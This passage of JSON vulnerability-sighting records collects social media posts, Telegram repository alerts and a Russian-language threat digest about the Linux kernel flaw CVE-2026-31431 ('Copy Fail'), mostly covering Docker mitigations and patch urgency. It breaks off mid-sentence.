"https://bsky.app/profile/knaepp.bsky.social/post/3mmtlebbjzh2b", "content": "Mitigating CVE-2026-31431 (\u201cCopy Fail\u201d) in Docker Engine/#docker #container - CVE-2026-31431 is a Linux kernel vulnerability that was recently disclosed.This CVE does not compromise Docker infrastructure. That said, Docker Engine\u2019s default... https://tinyurl.com/22kfuyfx", "creation_timestamp": "2026-05-27T13:10:04.626895Z"}, {"uuid": "b371beca-a68e-4fc2-a09e-218f13eb5c1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/roxsross.bsky.social/post/3mmtm6uu4km2q", "content": "\ud83d\udc33 \u26a0\ufe0f \u00a1Nuevo CVE en Docker! Mitiga \u201cCopy Fail\u201d actualizando tu Engine\n\nhttps://www.docker.com/blog/mitigating-cve-2026-31431-copy-fail-in-docker-engine/\n\n#Docker #Ciberseguridad #CVE #SysAdmin", "creation_timestamp": "2026-05-27T13:24:57.826922Z"}, {"uuid": "1b88eee1-52bf-45d7-97e5-a8cb05d8e219", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/metasplot.bsky.social/post/3mmvdlkzobc2p", "content": "CVE-2026-31431\u3001\u6050\u308d\u3057\u3044", "creation_timestamp": "2026-05-28T05:55:15.412977Z"}, {"uuid": "e710a858-11e8-4df8-82f1-9f1b51c1a0f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/metasplot.bsky.social/post/3mmvdnnanv22p", "content": "CVE-2026-31431\u3001\u6050\u308d\u3057\u3044", "creation_timestamp": "2026-05-28T05:56:43.294518Z"}, {"uuid": "8f7a3f0d-2cca-47be-bc64-d896560aa894", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/86257", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a songzzzz\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-28 13:54:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\naarch64 and x64 python POC\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-28T14:00:05.000000Z"}, {"uuid": "f6a08036-bc72-4a46-8e0d-6f97b31825ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ostechnix.bsky.social/post/3mmwcniamb226", "content": "Docker Engine v29.4.3 mitigates the critical Copy Fail (CVE-2026-31431) vulnerability. Update immediately if you cannot patch your Linux kernel yet.\n\nMore details here: ostechnix.com/docker-copy-... \n\n#Docker #Copyfail #CVE202631431 #Pagecache #Linuxkernel", "creation_timestamp": "2026-05-28T15:12:15.181034Z"}, {"uuid": "c430dfcc-f78f-46ea-a2fc-09f0923cff90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/brideoflinux.bsky.social/post/3mmwpfgnkfz2n", "content": "Update immediately if you cannot patch your Linux kernel yet: Docker Releases Mitigation for Copy Fail (CVE-2026-31431) - OSTechNix buff.ly/9AsU1IY", "creation_timestamp": "2026-05-28T19:00:18.611348Z"}, {"uuid": "915522fa-c2d5-4ab9-9cca-71c2e5bbef03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/linux.activitypub.awakari.com.ap.brid.gy/post/3mmxcycfgq772", "content": "From Exploit Code to Production Detection: Building a CVE-2026-31431 (Copy Fail) detection with Agents CVE-2026-31431 (Copy Fail) lets any unprivileged user corrupt the Linux page cache via AF_ALG ...\n\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-29T00:50:54.194886Z"}, {"uuid": "fb48adb7-4ddd-4e65-a8cc-955d2d13441c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/governa.lol/post/3mmxidifpo225", "content": "#Docker Releases Mitigation for Copy Fail (CVE-2026-31431)\n\nostechnix.com/docker-copy-...", "creation_timestamp": "2026-05-29T02:26:37.187874Z"}, {"uuid": "ac54c31e-5584-4915-b27d-ec4d0febc881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/cyberresearch.bsky.social/post/3mmxkfqefay2k", "content": "Originally from DataDog: From Exploit Code to Production Detection: Building a CVE-2026-31431 (Copy Fail) detection with Agents ( :-{\u0131\u2593 #cloudsecurity #datadog #cyberresearch", "creation_timestamp": "2026-05-29T03:03:39.984880Z"}, {"uuid": "04455175-6f7c-45df-af05-7299fd63674b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mmyu5aiozs23", "content": "CVE-2026-31431, "Copy Fail," is a high-severity Linux kernel flaw allowing local users to corrupt page cache via AF_ALG sockets. CISA added it to KEV after real-world exploitation. #CopyFail #CISA #Linux", "creation_timestamp": "2026-05-29T15:30:32.120630Z"}, {"uuid": "7c6697a9-9812-4544-9903-cfc334729a0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mmyzrqlgzw2n", "content": "CVE-2026-31431 \u201cCopy Fail\u201d Exposes Linux Kernel to Active Exploitation as CISA Flags Real-World Attacks and BlackSuit-Linked Intrusions\u00a0Expand\n\nCritical Linux Kernel Flaw Turns Into a Real-World Exploitation Tool Across Enterprise Environments CVE-2026-31431, internally tracked and now widely\u2026", "creation_timestamp": "2026-05-29T17:11:28.597723Z"}, {"uuid": "716a0e07-a8b7-480b-9c52-76d301a7c95f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/chrisshort.net/post/3mmz2y4aqse2s", "content": "Mitigating CVE-2026-31431 (\"Copy Fail\") in Docker Engine #devopsish www.docker.com/blog/...", "creation_timestamp": "2026-05-29T17:32:55.502309Z"}, {"uuid": "5845f7f0-c919-4bad-a3e0-adbf8037a6e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://hachyderm.io/users/ChrisShort/statuses/116659059292077003", "content": "Mitigating CVE-2026-31431 (\"Copy Fail\") in Docker Engine #devopsish https://www.docker.com/blog/mitigating-cve-2026-31431-copy-fail-in-docker-engine/", "creation_timestamp": "2026-05-29T17:33:00.193154Z"}, {"uuid": "8d78c887-0d08-4ab5-90b4-be959128d941", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzdugacos2c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:11:57.756109Z"}, {"uuid": "fb427a37-1ad4-487a-b3be-1cc982803eb1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzdug7vyk2c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:11:55.672867Z"}, {"uuid": "f0ca27f5-1b03-4f58-a0fa-3b0eda88a379", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzduga6rs2c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:11:56.179945Z"}, {"uuid": "d23d4af9-cc39-443d-9de2-4bd41583f28e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzdugaaqc2c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:11:56.693231Z"}, {"uuid": "086c42a1-7f23-4703-a321-6f902ea0fab0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzdugabpk2c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:11:57.227236Z"}, {"uuid": "a9520312-be6d-4cf4-8917-8ff03115ce9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzdugado22c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:11:58.275980Z"}, {"uuid": "f11c1c52-413d-4aeb-925c-b8f9c13fc74b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzdugaenc2c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:11:58.812657Z"}, {"uuid": "055078bd-15e7-49f0-acba-b5bc504dd1f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzdugafmk2c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:12:29.781208Z"}, {"uuid": "a98c74a5-cb8e-4a73-b0f5-765479877cdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmzdugafml2c", "content": "5/ \u26a0\ufe0f CVE-2026-31431 'Copy Fail' \u2014 Linux kernel privilege escalation affecting ALL major distros (Ubuntu, RHEL, Debian, Arch) on kernels since 2017. CVSS 7.8. If you run Linux servers, patch this weekend.", "creation_timestamp": "2026-05-29T20:12:30.508270Z"}, {"uuid": "cf43528d-0912-4821-a8cf-becb77d6ad84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mmzyyyywj42g", "content": "Top 3 CVE for last 7 days:\nCVE-2026-48095: 19 interactions\nCVE-2026-69: 19 interactions\nCVE-2026-26980: 16 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-31431: 6 interactions\nCVE-2026-48095: 6 interactions\nCVE-2026-39987: 4 interactions\n", "creation_timestamp": "2026-05-30T02:30:18.089399Z"}, {"uuid": "6d7e806a-1b2d-48ba-aeb3-e6735b849b3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/86564", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-EXPLOIT\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a K3ysTr0K3R\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-30 15:53:05\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-30T16:00:03.000000Z"}, {"uuid": "82e5dcbd-50d5-45ec-bcd6-7163ecaaf932", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260602", "content": "", "creation_timestamp": "2026-06-01T18:00:00.000000Z"}, {"uuid": "df245193-d36c-4e4d-a9f4-463c8f348b33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/steelwise.bsky.social/post/3mnca6p5spp2x", "content": "Copy Fail: 732 bytes to root on every Linux server you forgot about. CVE-2026-31431 lets any local user become root on Ubuntu, RHEL, Debian, SUSE, Amazon Linux, and most other distros. The exploit fits in 732 bytes of Python. The bug has\u2026 https://steelwise.uk/filings/copy-fail-linux-cve-2026-31431/", "creation_timestamp": "2026-06-02T09:00:08.719182Z"}, {"uuid": "638982bb-d9f3-4324-b95f-2313c222fb69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/gT5VG53EHkYx7lJsNMzVATNBd8Pb7In7gs06zL9W87J77Dc", "content": "", "creation_timestamp": "2026-05-28T21:00:04.000000Z"}, {"uuid": "2fd43629-6eba-4e6c-a047-9120be1d1ba5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/87120", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CopyFail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 1neptune\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-03 09:14:15\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\ngo CVE-2026-31431 (CopyFail) local privilege escalation exploit\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-06-03T11:00:04.000000Z"}, {"uuid": "87454edc-0362-4000-9231-ea207a52fd71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/true_secator/8277", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. Acer \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0447\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0434\u0432\u0443\u0445 0-day \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 \u0432 \u0435\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 \u0441 mesh-\u0441\u0435\u0442\u044c\u044e Wave 7, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0432\u0435\u0440\u0441\u0438\u0438 T7c_GBL_1.01.000055 \u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439.\n\n\u0420\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0413\u0435\u0440\u0433\u043e \u041f\u0430\u043f. \u041f\u0435\u0440\u0432\u0430\u044f CVE-2026-49200 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u043c\u0441\u044f \u0432 \u0430\u0440\u0445\u0438\u0432\u0430\u0445 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432.\n\n\u0412\u0442\u043e\u0440\u0430\u044f CVE-2026-49201 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043a\u043b\u044e\u0447\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0443 \u0447\u0435\u0440\u0435\u0437 \u0431\u044d\u043a\u0434\u043e\u0440.\n\n2. \u0425\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 (CVE-2026-8206) \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Kirki - Freeform Page Builder, Website Builder & Customizer \u0434\u043b\u044f WordPress \u0434\u043b\u044f \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432.\n\n\u0410\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Defiant, \u0447\u0435\u0439 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u044d\u043a\u0440\u0430\u043d Wordfence \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b \u0431\u043e\u043b\u0435\u0435 222 \u043f\u043e\u043f\u044b\u0442\u043e\u043a\u00a0\u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 24 \u0447\u0430\u0441\u0430. CVE-2026-8206 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438 REST API \u0434\u043b\u044f \u0441\u0431\u0440\u043e\u0441\u0430 \u043f\u0430\u0440\u043e\u043b\u044f \u0447\u0435\u0440\u0435\u0437 \u0444\u0443\u043d\u043a\u0446\u0438\u044e 'handle_forgot_password()'.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0442\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u043d\u0430 500 000 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u043e\u0432, \u043e\u0431\u044a\u0435\u043c\u044b \u0440\u0430\u0431\u043e\u0442\u044b \u0443 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u044f \u0438\u043c\u0435\u044e\u0442\u0441\u044f. \n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c\u00a0Wordfence, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432\u043e\u0437\u043d\u0438\u043a\u043b\u0430 \u0432 \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u043c \u043a\u0440\u0443\u043f\u043d\u043e\u043c \u0440\u0435\u043b\u0438\u0437\u0435, \u0432\u0435\u0440\u0441\u0438\u0438 6.0.0, \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430 \u0434\u043e 6.0.6 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a\u00a0\u0441 WordPress, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043f\u043e\u0447\u0442\u0438 40% \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043b\u0430\u0433\u0438\u043d\u0430.\n\n3. \u0422\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f 0-day \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Microsoft \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0410\u043c\u043c\u0430\u0440 \u0410\u0441\u043a\u0430\u0440 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b 